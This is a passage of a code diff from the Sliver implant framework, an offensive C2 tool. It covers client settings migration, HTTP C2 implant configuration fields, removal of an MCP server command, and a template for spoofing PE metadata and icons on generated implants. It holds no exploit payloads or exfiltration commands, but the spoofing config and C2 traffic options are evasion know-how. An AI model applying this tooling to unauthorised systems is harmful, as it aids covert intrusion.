}
return mcpLogsDir
}
func assetVersion() string {
appDir := GetRootAppDir()
data, err := os.ReadFile(filepath.Join(appDir, versionFileName))
@@ -115,7 +96,7 @@ func Setup(force bool, echo bool) {
if force || localVer == "" || localVer != ver.GitCommit {
if echo {
fmt.Printf(`
Sliver Copyright (C) 2026 Bishop Fox
Sliver Copyright (C) 2022 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
@@ -123,6 +104,7 @@ under certain conditions; type 'licenses' for details.`)
}
saveAssetVersion(appDir)
}
_, _ = LoadSettings()
_, _ = LoadSpoofMetadataConfig()
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
SaveSettings(nil)
}
}
+25 -12
View File
@@ -35,7 +35,7 @@ type NameValueProbability struct {
Name string `json:"name"`
Value string `json:"value"`
Probability int `json:"probability"`
Method string `json:"method"`
Methods []string
}
// HTTPC2ImplantConfig - Implant configuration options
@@ -57,17 +57,30 @@ type HTTPC2ImplantConfig struct {
NonceQueryArgChars string `json:"nonce_query_args"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
NonceQueryLength int `json:"nonce_query_length"`
NonceMode string `json:"nonce_mode"`
MaxFileGen int `json:"max_files"`
MinFileGen int `json:"min_files"`
MaxPathGen int `json:"max_paths"`
MinPathGen int `json:"min_paths"`
MaxPathLength int `json:"max_path_length"`
MinPathLength int `json:"min_path_length"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
Extensions []string `json:"extensions"`
Files []string `json:"files"`
Paths []string `json:"paths"`
// Stager files and paths
StagerFileExt string `json:"stager_file_ext"`
StagerFiles []string `json:"stager_files"`
StagerPaths []string `json:"stager_paths"`
// Poll files and paths
PollFileExt string `json:"poll_file_ext"`
PollFiles []string `json:"poll_files"`
PollPaths []string `json:"poll_paths"`
// Session files and paths
StartSessionFileExt string `json:"start_session_file_ext"`
SessionFileExt string `json:"session_file_ext"`
SessionFiles []string `json:"session_files"`
SessionPaths []string `json:"session_paths"`
// Close session files and paths
CloseFileExt string `json:"close_file_ext"`
CloseFiles []string `json:"close_files"`
ClosePaths []string `json:"close_paths"`
}
-27
View File
@@ -1,27 +0,0 @@
package assets
import (
"os"
"path/filepath"
"strings"
)
func legacyBackupPath(legacyPath string) string {
dir := filepath.Dir(legacyPath)
base := filepath.Base(legacyPath)
name := strings.TrimSuffix(base, filepath.Ext(base))
return filepath.Join(dir, "."+name+".json-old")
}
func renameLegacyConfig(legacyPath string) error {
if _, err := os.Stat(legacyPath); os.IsNotExist(err) {
return nil
}
backupPath := legacyBackupPath(legacyPath)
if _, err := os.Stat(backupPath); err == nil {
if err := os.Remove(backupPath); err != nil {
return err
}
}
return os.Rename(legacyPath, backupPath)
}
+16 -92
View File
@@ -22,111 +22,39 @@ import (
"encoding/json"
"os"
"path/filepath"
"strings"
"gopkg.in/yaml.v3"
)
const (
settingsFileName = "tui-settings.yaml"
settingsLegacyFileName = "tui-settings.json"
)
const (
// Accepted values for tui-settings.yaml "prompt:":
// - host: show "[host]" prefix on sliver-client, "[server]" on server console
// - operator-host: show "[operator@host]" prefix on sliver-client, "[server]" on server console
// - basic: show "sliver >" (no prefix)
// - custom: render full prompt from prompt_template
PromptStyleHost = "host"
PromptStyleOperatorHost = "operator-host"
PromptStyleBasic = "basic"
PromptStyleCustom = "custom"
settingsFileName = "tui-settings.json"
)
// ClientSettings - Client JSON config
type ClientSettings struct {
TableStyle string `json:"tables" yaml:"tables"`
AutoAdult bool `json:"autoadult" yaml:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults" yaml:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width" yaml:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow" yaml:"always_overflow"`
VimMode bool `json:"vim_mode" yaml:"vim_mode"`
UserConnect bool `json:"user_connect" yaml:"user_connect"`
ConsoleLogs bool `json:"console_logs" yaml:"console_logs"`
PromptStyle string `json:"prompt" yaml:"prompt"`
PromptTemplate string `json:"prompt_template" yaml:"prompt_template"`
TableStyle string `json:"tables"`
AutoAdult bool `json:"autoadult"`
BeaconAutoResults bool `json:"beacon_autoresults"`
SmallTermWidth int `json:"small_term_width"`
AlwaysOverflow bool `json:"always_overflow"`
VimMode bool `json:"vim_mode"`
UserConnect bool `json:"user_connect"`
ConsoleLogs bool `json:"console_logs"`
}
// LoadSettings - Load the client settings from disk
func LoadSettings() (*ClientSettings, error) {
rootDir, _ := filepath.Abs(GetRootAppDir())
settingsPath := filepath.Join(rootDir, settingsFileName)
legacyPath := filepath.Join(rootDir, settingsLegacyFileName)
data, err := os.ReadFile(filepath.Join(rootDir, settingsFileName))
if err != nil {
return defaultSettings(), err
}
settings := defaultSettings()
migratedLegacy := false
data, err := os.ReadFile(settingsPath)
if err == nil {
if err = yaml.Unmarshal(data, settings); err != nil {
return defaultSettings(), err
}
} else if !os.IsNotExist(err) {
err = json.Unmarshal(data, settings)
if err != nil {
return defaultSettings(), err
} else if data, err = os.ReadFile(legacyPath); err == nil {
if err = json.Unmarshal(data, settings); err != nil {
return defaultSettings(), err
}
migratedLegacy = true
} else if !os.IsNotExist(err) {
return defaultSettings(), err
}
// Ensure any missing/unknown values are coerced to a supported prompt style.
settings.PromptStyle = NormalizePromptStyle(settings.PromptStyle)
if err := SaveSettings(settings); err != nil {
return settings, err
}
if migratedLegacy {
if err := renameLegacyConfig(legacyPath); err != nil {
return settings, err
}
}
return settings, nil
}
// NormalizePromptStyle canonicalizes prompt style strings and returns a safe
// default if the value is empty/unknown.
func NormalizePromptStyle(v string) string {
switch strings.ToLower(strings.TrimSpace(v)) {
case PromptStyleOperatorHost:
return PromptStyleOperatorHost
case PromptStyleHost:
return PromptStyleHost
case PromptStyleBasic:
return PromptStyleBasic
case PromptStyleCustom:
return PromptStyleCustom
// Backward compatible aliases.
case "show host":
return PromptStyleHost
case "show user and host":
return PromptStyleOperatorHost
case "show operator and host":
return PromptStyleOperatorHost
case "operator@host":
return PromptStyleOperatorHost
case "user@host":
return PromptStyleOperatorHost
case "":
return PromptStyleHost
default:
return PromptStyleHost
}
}
func defaultSettings() *ClientSettings {
return &ClientSettings{
TableStyle: "SliverDefault",
@@ -136,20 +64,16 @@ func defaultSettings() *ClientSettings {
AlwaysOverflow: false,
VimMode: false,
ConsoleLogs: true,
PromptStyle: PromptStyleHost,
PromptTemplate: DefaultPromptTemplate,
}
}
const DefaultPromptTemplate = `{{- if .IsServer -}}{{ .Styles.Bold.Render "[server]" }} {{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- else -}}{{- if .Host -}}{{ .Styles.BoldPrimary.Render (printf "[%s]" .Host) }} {{- end -}}{{ .Styles.Underline.Render "sliver" }}{{ .Target.Suffix }} > {{- end -}}`
// SaveSettings - Save the current settings to disk
func SaveSettings(settings *ClientSettings) error {
rootDir, _ := filepath.Abs(GetRootAppDir())
if settings == nil {
settings = defaultSettings()
}
data, err := yaml.Marshal(settings)
data, err := json.MarshalIndent(settings, "", " ")
if err != nil {
return err
}
-137
View File
@@ -1,137 +0,0 @@
package assets
import (
"encoding/json"
"os"
"path/filepath"
"testing"
)
func TestLoadSettingsParsesYAML(t *testing.T) {
t.Setenv(envVarName, t.TempDir())
rootDir, _ := filepath.Abs(GetRootAppDir())
settingsPath := filepath.Join(rootDir, settingsFileName)
data := []byte(`tables: "Compact"
autoadult: true
beacon_autoresults: false
small_term_width: 120
always_overflow: true
vim_mode: true
user_connect: true
console_logs: false
prompt: "basic"
prompt_template: "{{.Host}}"
`)
if err := os.WriteFile(settingsPath, data, 0o600); err != nil {
t.Fatalf("failed to write yaml settings: %v", err)
}
settings, err := LoadSettings()
if err != nil {
t.Fatalf("expected no error, got %v", err)
}
if settings.TableStyle != "Compact" {
t.Fatalf("expected TableStyle %q, got %q", "Compact", settings.TableStyle)
}
if !settings.AutoAdult {
t.Fatalf("expected AutoAdult true")
}
if settings.BeaconAutoResults {
t.Fatalf("expected BeaconAutoResults false")
}
if settings.SmallTermWidth != 120 {
t.Fatalf("expected SmallTermWidth %d, got %d", 120, settings.SmallTermWidth)
}
if !settings.AlwaysOverflow {
t.Fatalf("expected AlwaysOverflow true")
}
if !settings.VimMode {
t.Fatalf("expected VimMode true")
}
if !settings.UserConnect {
t.Fatalf("expected UserConnect true")
}
if settings.ConsoleLogs {
t.Fatalf("expected ConsoleLogs false")
}
if settings.PromptStyle != PromptStyleBasic {
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleBasic, settings.PromptStyle)
}
if settings.PromptTemplate != "{{.Host}}" {
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Host}}", settings.PromptTemplate)
}
}
func TestLoadSettingsMigratesLegacyJSON(t *testing.T) {
t.Setenv(envVarName, t.TempDir())
rootDir, _ := filepath.Abs(GetRootAppDir())
legacyPath := filepath.Join(rootDir, settingsLegacyFileName)
legacy := &ClientSettings{
TableStyle: "Legacy",
AutoAdult: true,
BeaconAutoResults: false,
SmallTermWidth: 200,
AlwaysOverflow: true,
VimMode: true,
UserConnect: true,
ConsoleLogs: false,
PromptStyle: PromptStyleOperatorHost,
PromptTemplate: "{{.Operator}}@{{.Host}} sliver > ",
}
data, err := json.MarshalIndent(legacy, "", " ")
if err != nil {
t.Fatalf("failed to marshal legacy settings: %v", err)
}
if err := os.WriteFile(legacyPath, data, 0o600); err != nil {
t.Fatalf("failed to write legacy settings: %v", err)
}
settings, err := LoadSettings()
if err != nil {
t.Fatalf("expected no error, got %v", err)
}
if settings.TableStyle != "Legacy" {
t.Fatalf("expected TableStyle %q, got %q", "Legacy", settings.TableStyle)
}
if settings.PromptStyle != PromptStyleOperatorHost {
t.Fatalf("expected PromptStyle %q, got %q", PromptStyleOperatorHost, settings.PromptStyle)
}
if settings.PromptTemplate != "{{.Operator}}@{{.Host}} sliver > " {
t.Fatalf("expected PromptTemplate %q, got %q", "{{.Operator}}@{{.Host}} sliver > ", settings.PromptTemplate)
}
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
t.Fatalf("expected yaml settings to exist: %v", err)
}
if _, err := os.Stat(legacyPath); !os.IsNotExist(err) {
t.Fatalf("expected legacy settings to be renamed: %v", err)
}
if _, err := os.Stat(legacyBackupPath(legacyPath)); err != nil {
t.Fatalf("expected legacy backup to exist: %v", err)
}
}
func TestLoadSettingsWritesDefault(t *testing.T) {
t.Setenv(envVarName, t.TempDir())
settings, err := LoadSettings()
if err != nil {
t.Fatalf("expected no error, got %v", err)
}
if settings.TableStyle != "SliverDefault" {
t.Fatalf("expected default TableStyle %q, got %q", "SliverDefault", settings.TableStyle)
}
if settings.PromptStyle != PromptStyleHost {
t.Fatalf("expected default PromptStyle %q, got %q", PromptStyleHost, settings.PromptStyle)
}
if settings.PromptTemplate != DefaultPromptTemplate {
t.Fatalf("expected default PromptTemplate %q, got %q", DefaultPromptTemplate, settings.PromptTemplate)
}
rootDir, _ := filepath.Abs(GetRootAppDir())
if _, err := os.Stat(filepath.Join(rootDir, settingsFileName)); err != nil {
t.Fatalf("expected default settings to be written: %v", err)
}
}
-216
View File
@@ -1,216 +0,0 @@
package assets
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"os"
"path/filepath"
"gopkg.in/yaml.v3"
)
const spoofMetadataFileName = "spoof-metadata.yaml"
const defaultSpoofMetadataConfigTemplate = `# Sliver executable metadata spoofing configuration.
# Used by generate commands when --spoof-metadata is set.
#
# Fields that reference file content support either:
# - path: read bytes from a local file path
# - base64: inline base64 file content
# Do not set both path and base64 for the same object.
#
# Example 1: Minimal path-based metadata cloning (most common)
pe:
source:
name: metadata-source.exe
path: ""
# Optional icon donor. Reserved for future standalone icon mutation support.
icon:
name: icon.ico
path: ""
# Example 2: Inline/base64 source (uncomment and remove "path" above)
# source:
# name: metadata-source.exe
# base64: "TVqQAAMAAAAEAAAA..."
# Example 3: Optional PE structure overrides (advanced)
# Applied after metadata/resources are cloned from source.
# Omitted fields keep cloned values.
# resource_directory:
# characteristics: 0
# time_date_stamp: 0
# major_version: 1
# minor_version: 0
# number_of_named_entries: 0
# number_of_id_entries: 0
#
# resource_directory_entries:
# - name: 1
# offset_to_data: 0
#
# resource_data_entries:
# - offset_to_data: 0
# size: 0
# code_page: 0
# reserved: 0
#
# export_directory:
# characteristics: 0
# time_date_stamp: 0
# major_version: 1
# minor_version: 0
# name: 0
# base: 0
# number_of_functions: 0
# number_of_names: 0
# address_of_functions: 0
# address_of_names: 0
# address_of_name_ordinals: 0
`
// SpoofMetadataConfig stores default metadata spoofing inputs for generate commands.
type SpoofMetadataConfig struct {
PE *PESpoofMetadataConfig `json:"pe,omitempty" yaml:"pe,omitempty"`
}
// PESpoofMetadataConfig stores PE-specific spoofing inputs.
type PESpoofMetadataConfig struct {
Source *SpoofMetadataDataSource `json:"source,omitempty" yaml:"source,omitempty"`
Icon *SpoofMetadataDataSource `json:"icon,omitempty" yaml:"icon,omitempty"`
ResourceDirectory *ImageResourceDirectory `json:"resource_directory,omitempty" yaml:"resource_directory,omitempty"`
ResourceDirectoryEntries []*ImageResourceDirectoryEntry `json:"resource_directory_entries,omitempty" yaml:"resource_directory_entries,omitempty"`
ResourceDataEntries []*ImageResourceDataEntry `json:"resource_data_entries,omitempty" yaml:"resource_data_entries,omitempty"`
ExportDirectory *ImageExportDirectory `json:"export_directory,omitempty" yaml:"export_directory,omitempty"`
}
// SpoofMetadataDataSource points to bytes that should be sent to the server.
// Either Path or Base64 may be set.
type SpoofMetadataDataSource struct {
Name string `json:"name,omitempty" yaml:"name,omitempty"`
Path string `json:"path,omitempty" yaml:"path,omitempty"`
Base64 string `json:"base64,omitempty" yaml:"base64,omitempty"`
}
type ImageResourceDirectory struct {
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
NumberOfNamedEntries uint32 `json:"number_of_named_entries,omitempty" yaml:"number_of_named_entries,omitempty"`
NumberOfIDEntries uint32 `json:"number_of_id_entries,omitempty" yaml:"number_of_id_entries,omitempty"`
}
type ImageResourceDirectoryEntry struct {
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
}
type ImageResourceDataEntry struct {
OffsetToData uint32 `json:"offset_to_data,omitempty" yaml:"offset_to_data,omitempty"`
Size uint32 `json:"size,omitempty" yaml:"size,omitempty"`
CodePage uint32 `json:"code_page,omitempty" yaml:"code_page,omitempty"`
Reserved uint32 `json:"reserved,omitempty" yaml:"reserved,omitempty"`
}
type ImageExportDirectory struct {
Characteristics uint32 `json:"characteristics,omitempty" yaml:"characteristics,omitempty"`
TimeDateStamp uint32 `json:"time_date_stamp,omitempty" yaml:"time_date_stamp,omitempty"`
MajorVersion uint32 `json:"major_version,omitempty" yaml:"major_version,omitempty"`
MinorVersion uint32 `json:"minor_version,omitempty" yaml:"minor_version,omitempty"`
Name uint32 `json:"name,omitempty" yaml:"name,omitempty"`
Base uint32 `json:"base,omitempty" yaml:"base,omitempty"`
NumberOfFunctions uint32 `json:"number_of_functions,omitempty" yaml:"number_of_functions,omitempty"`
NumberOfNames uint32 `json:"number_of_names,omitempty" yaml:"number_of_names,omitempty"`
AddressOfFunctions uint32 `json:"address_of_functions,omitempty" yaml:"address_of_functions,omitempty"`
AddressOfNames uint32 `json:"address_of_names,omitempty" yaml:"address_of_names,omitempty"`
AddressOfNameOrdinals uint32 `json:"address_of_name_ordinals,omitempty" yaml:"address_of_name_ordinals,omitempty"`
}
// SpoofMetadataConfigPath returns the spoof metadata config file path.
func SpoofMetadataConfigPath() string {
rootDir, _ := filepath.Abs(GetRootAppDir())
return filepath.Join(rootDir, spoofMetadataFileName)
}
// LoadSpoofMetadataConfig loads spoof metadata config from disk, writing defaults
// if the file is missing.
func LoadSpoofMetadataConfig() (*SpoofMetadataConfig, error) {
config := defaultSpoofMetadataConfig()
configPath := SpoofMetadataConfigPath()
data, err := os.ReadFile(configPath)
if err != nil {
if !os.IsNotExist(err) {
return defaultSpoofMetadataConfig(), err
}
if err := os.WriteFile(configPath, []byte(defaultSpoofMetadataConfigTemplate), 0o600); err != nil {
return defaultSpoofMetadataConfig(), err
}
data = []byte(defaultSpoofMetadataConfigTemplate)
}
if err := yaml.Unmarshal(data, config); err != nil {
return defaultSpoofMetadataConfig(), err
}
normalizeSpoofMetadataConfig(config)
return config, nil
}
// SaveSpoofMetadataConfig writes spoof metadata config to disk.
func SaveSpoofMetadataConfig(config *SpoofMetadataConfig) error {
if config == nil {
config = defaultSpoofMetadataConfig()
}
normalizeSpoofMetadataConfig(config)
data, err := yaml.Marshal(config)
if err != nil {
return err
}
return os.WriteFile(SpoofMetadataConfigPath(), data, 0o600)
}
func normalizeSpoofMetadataConfig(config *SpoofMetadataConfig) {
if config.PE == nil {
config.PE = &PESpoofMetadataConfig{}
}
if config.PE.Source == nil {
config.PE.Source = &SpoofMetadataDataSource{Name: "metadata-source.exe"}
}
if config.PE.Icon == nil {
config.PE.Icon = &SpoofMetadataDataSource{Name: "icon.ico"}
}
}
func defaultSpoofMetadataConfig() *SpoofMetadataConfig {
return &SpoofMetadataConfig{
PE: &PESpoofMetadataConfig{
Source: &SpoofMetadataDataSource{
Name: "metadata-source.exe",
Path: "",
},
Icon: &SpoofMetadataDataSource{
Name: "icon.ico",
Path: "",
},
},
}
}
+3 -13
View File
@@ -1,14 +1,4 @@
# client/cli
CLI
===
## Overview
Defines the Cobra root command and CLI initialization for the Sliver client binary. Sets up persistent flags, environment bootstrapping, and command wiring. Core logic addresses console, implant, import, and version within the cli package.
## Go Files
- `cli.go` – Builds the root Cobra command, wires global flags, and starts the console UI.
- `config.go` – Parses CLI configuration files and environment variables used during startup.
- `console.go` – Launches the interactive console mode and handles profile selection.
- `implant.go` – Implements CLI entry points for implant-specific operations without launching the console.
- `import.go` – Provides import routines for bringing external state into the client (e.g., implants or loot).
- `version.go` – Prints version/build information for the CLI binary.
This package implements the Sliver client cli.
-4
View File
@@ -51,7 +51,6 @@ func init() {
defer logFile.Close()
rootCmd.TraverseChildren = true
rootCmd.Flags().String(RCFlagName, "", "path to rc script file")
// Create the console client, without any RPC or commands bound to it yet.
// This created before anything so that multiple commands can make use of
@@ -70,9 +69,6 @@ func init() {
// other command trees below, such as the implant one.
rootCmd.AddCommand(consoleCmd(con))
// MCP stdio server.
rootCmd.AddCommand(mcpCmd(con))
// Implant.
// The implant command allows users to run commands on slivers from their
// system shell. It makes use of pre-runners for connecting to the server
+29 -15
View File
@@ -23,34 +23,48 @@ import (
"sort"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/forms"
"gopkg.in/AlecAivazis/survey.v1"
)
func selectConfig() (string, *assets.ClientConfig) {
func selectConfig() *assets.ClientConfig {
configs := assets.GetConfigs()
if len(configs) == 0 {
return "", nil
return nil
}
if len(configs) == 1 {
for key, config := range configs {
return key, config
for _, config := range configs {
return config
}
}
keys := make([]string, 0, len(configs))
for key := range configs {
keys = append(keys, key)
answer := struct{ Config string }{}
qs := getPromptForConfigs(configs)
err := survey.Ask(qs, &answer)
if err != nil {
fmt.Println(err.Error())
return nil
}
return configs[answer.Config]
}
func getPromptForConfigs(configs map[string]*assets.ClientConfig) []*survey.Question {
keys := []string{}
for k := range configs {
keys = append(keys, k)
}
sort.Strings(keys)
selection := keys[0]
err := forms.Select("Select a server:", keys, &selection)
if err != nil {
fmt.Println(err.Error())
return "", nil
return []*survey.Question{
{
Name: "config",
Prompt: &survey.Select{
Message: "Select a server:",
Options: keys,
Default: keys[0],
},
},
}
return selection, configs[selection]
}
-26
View File
@@ -1,26 +0,0 @@
package cli
import (
"context"
"fmt"
"os"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
)
func handleConnectionLost(ln *grpc.ClientConn) {
if ln == nil {
return
}
currentState := ln.GetState()
// currentState should be "Ready" when the connection is established.
if ln.WaitForStateChange(context.Background(), currentState) {
newState := ln.GetState()
// newState will be "Idle" if the connection is lost.
if newState == connectivity.Idle {
fmt.Println("\nLost connection to server. Exiting now.")
os.Exit(1)
}
}
}
+31 -12
View File
@@ -19,7 +19,9 @@ package cli
*/
import (
"context"
"fmt"
"os"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/command"
@@ -28,6 +30,7 @@ import (
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/spf13/cobra"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
)
// consoleCmd generates the console with required pre/post runners.
@@ -37,50 +40,66 @@ func consoleCmd(con *console.SliverClient) *cobra.Command {
Short: "Start the sliver client console",
}
consoleCmd.Flags().String(RCFlagName, "", "path to rc script file")
consoleCmd.RunE, consoleCmd.PersistentPostRunE = consoleRunnerCmd(con, true)
return consoleCmd
}
func consoleRunnerCmd(con *console.SliverClient, run bool) (pre, post func(cmd *cobra.Command, args []string) error) {
pre = func(cmd *cobra.Command, _ []string) error {
var ln *grpc.ClientConn
pre = func(_ *cobra.Command, _ []string) error {
configs := assets.GetConfigs()
if len(configs) == 0 {
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
return nil
}
configKey, config := selectConfig()
config := selectConfig()
if config == nil {
return nil
}
rcScript, err := ReadRCScript(cmd)
if err != nil {
fmt.Printf("Failed to read rc script: %s\n", err)
return nil
}
// Don't clobber output when simply running an implant command from system shell.
if run {
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
}
var rpc rpcpb.SliverRPCClient
var ln *grpc.ClientConn
var err error
rpc, ln, err = transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s", err)
return nil
}
return console.StartClient(con, rpc, ln, &console.ConnectionDetails{ConfigKey: configKey, Config: config}, command.ServerCommands(con, nil), command.SliverCommands(con), run, rcScript)
// Wait for any connection state changes and exit if the connection is lost.
go handleConnectionLost(ln)
return console.StartClient(con, rpc, command.ServerCommands(con, nil), command.SliverCommands(con), run)
}
// Close the RPC connection once exiting
post = func(_ *cobra.Command, _ []string) error {
return con.CloseConnection()
if ln != nil {
return ln.Close()
}
return nil
}
return pre, post
}
func handleConnectionLost(ln *grpc.ClientConn) {
currentState := ln.GetState()
// currentState should be "Ready" when the connection is established.
if ln.WaitForStateChange(context.Background(), currentState) {
newState := ln.GetState()
// newState will be "Idle" if the connection is lost.
if newState == connectivity.Idle {
fmt.Println("\nLost connection to server. Exiting now.")
os.Exit(1)
}
}
}
-94
View File
@@ -1,94 +0,0 @@
package cli
/*
Sliver Implant Framework
Copyright (C) 2023 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"fmt"
"os"
"path/filepath"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
clientmcp "github.com/bishopfox/sliver/client/mcp"
"github.com/bishopfox/sliver/client/transport"
"github.com/spf13/cobra"
)
func mcpCmd(con *console.SliverClient) *cobra.Command {
mcpCmd := &cobra.Command{
Use: "mcp",
Short: "Start the MCP stdio server",
RunE: func(cmd *cobra.Command, args []string) error {
return runMCP(cmd, con)
},
}
mcpCmd.Flags().String("config", "", "path to client config file")
return mcpCmd
}
func runMCP(cmd *cobra.Command, con *console.SliverClient) error {
configPath, _ := cmd.Flags().GetString("config")
config, err := loadMCPClientConfig(configPath)
if err != nil {
fmt.Printf("%s\n", err)
return nil
}
rpc, ln, err := transport.MTLSConnect(config)
if err != nil {
fmt.Printf("Connection to server failed %s\n", err)
return nil
}
defer ln.Close()
con.Rpc = rpc
go handleConnectionLost(ln)
cfg := clientmcp.DefaultConfig()
if err := clientmcp.ServeStdio(cfg, con.Rpc); err != nil {
fmt.Printf("MCP server error: %s\n", err)
return nil
}
return nil
}
func loadMCPClientConfig(path string) (*assets.ClientConfig, error) {
if path != "" {
configPath := path
if !filepath.IsAbs(configPath) {
if _, err := os.Stat(configPath); err != nil {
configPath = filepath.Join(assets.GetConfigDir(), configPath)
}
}
return assets.ReadConfig(configPath)
}
configs := assets.GetConfigs()
switch len(configs) {
case 0:
return nil, fmt.Errorf("no config files found at %s (use --config)", assets.GetConfigDir())
case 1:
for _, config := range configs {
return config, nil
}
default:
return nil, fmt.Errorf("multiple configs found; use --config to select one")
}
return nil, fmt.Errorf("no config files found")
}
-31
View File
@@ -1,31 +0,0 @@
package cli
import (
"fmt"
"os"
"github.com/spf13/cobra"
)
const RCFlagName = "rc"
func ReadRCScript(cmd *cobra.Command) (string, error) {
if cmd == nil {
return "", nil
}
if cmd.Flags().Lookup(RCFlagName) == nil {
return "", nil
}
rcPath, err := cmd.Flags().GetString(RCFlagName)
if err != nil {
return "", err
}
if rcPath == "" {
return "", nil
}
data, err := os.ReadFile(rcPath)
if err != nil {
return "", fmt.Errorf("read rc script %q: %w", rcPath, err)
}
return string(data), nil
}
+11 -64
View File
@@ -1,67 +1,14 @@
# client/command
Command
=======
## Overview
This package contains all of the client command implementations that are shared between the client and the server console.
Shared registration glue, scaffolding, and helpers for Sliver client console command groups. Hosts common utilities for binding Cobra commands to RPC-backed actions. Core logic addresses sliver within the command package.
### Developers
## Go Files
- `command.go` – Provides helpers for binding Cobra commands, flag sets, and visibility filters into the client command tree.
- `server.go` – Defines the server menu composition, wiring each server-side command group onto the root console structure at runtime.
- `main.go` – Builds the implant/Sliver menu, attaching per-target command groups and loading alias/extension manifests before exposure.
## Sub-packages
- `alias/` – Implements the 'alias' command group for the Sliver client console.
- `armory/` – Implements the 'armory' command group for the Sliver client console.
- `backdoor/` – Implements the 'backdoor' command group for the Sliver client console.
- `beacons/` – Implements the 'beacons' command group for the Sliver client console.
- `builders/` – Implements the 'builders' command group for the Sliver client console.
- `c2profiles/` – Implements the 'c2profiles' command group for the Sliver client console.
- `certificates/` – Implements the 'certificates' command group for the Sliver client console.
- `clean/` – Implements the 'clean' command group for the Sliver client console.
- `completers/` – Implements the 'completers' command group for the Sliver client console.
- `crack/` – Implements the 'crack' command group for the Sliver client console.
- `creds/` – Implements the 'creds' command group for the Sliver client console.
- `cursed/` – Implements the 'cursed' command group for the Sliver client console.
- `dllhijack/` – Implements the 'dllhijack' command group for the Sliver client console.
- `edit/` – Implements the 'edit' command for the Sliver client console.
- `environment/` – Implements the 'environment' command group for the Sliver client console.
- `exec/` – Implements the 'exec' command group for the Sliver client console.
- `exit/` – Implements the 'exit' command group for the Sliver client console.
- `extensions/` – Implements the 'extensions' command group for the Sliver client console.
- `filesystem/` – Implements the 'filesystem' command group for the Sliver client console.
- `flags/` – Implements the 'flags' command group for the Sliver client console.
- `generate/` – Implements the 'generate' command group for the Sliver client console.
- `help/` – Implements the 'help' command group for the Sliver client console.
- `hosts/` – Implements the 'hosts' command group for the Sliver client console.
- `info/` – Implements the 'info' command group for the Sliver client console.
- `jobs/` – Implements the 'jobs' command group for the Sliver client console.
- `kill/` – Implements the 'kill' command group for the Sliver client console.
- `licenses/` – Implements the 'licenses' command group for the Sliver client console.
- `loot/` – Implements the 'loot' command group for the Sliver client console.
- `monitor/` – Implements the 'monitor' command group for the Sliver client console.
- `mcp/` – Implements the 'mcp' command group for the Sliver client console.
- `network/` – Implements the 'network' command group for the Sliver client console.
- `operators/` – Implements the 'operators' command group for the Sliver client console.
- `pivots/` – Implements the 'pivots' command group for the Sliver client console.
- `portfwd/` – Implements the 'portfwd' command group for the Sliver client console.
- `privilege/` – Implements the 'privilege' command group for the Sliver client console.
- `processes/` – Implements the 'processes' command group for the Sliver client console.
- `reaction/` – Implements the 'reaction' command group for the Sliver client console.
- `reconfig/` – Implements the 'reconfig' command group for the Sliver client console.
- `registry/` – Implements the 'registry' command group for the Sliver client console.
- `rportfwd/` – Implements the 'rportfwd' command group for the Sliver client console.
- `screenshot/` – Implements the 'screenshot' command group for the Sliver client console.
- `sessions/` – Implements the 'sessions' command group for the Sliver client console.
- `settings/` – Implements the 'settings' command group for the Sliver client console.
- `shell/` – Implements the 'shell' command group for the Sliver client console.
- `shikata-ga-nai/` – Implements the 'shikata-ga-nai' command group for the Sliver client console.
- `socks/` – Implements the 'socks' command group for the Sliver client console.
- `taskmany/` – Implements the 'taskmany' command group for the Sliver client console.
- `tasks/` – Implements the 'tasks' command group for the Sliver client console.
- `update/` – Implements the 'update' command group for the Sliver client console.
- `use/` – Implements the 'use' command group for the Sliver client console.
- `wasm/` – Implements the 'wasm' command group for the Sliver client console.
- `websites/` – Implements the 'websites' command group for the Sliver client console.
- `wireguard/` – Implements the 'wireguard' command group for the Sliver client console.
General guidance on the structure of this package:
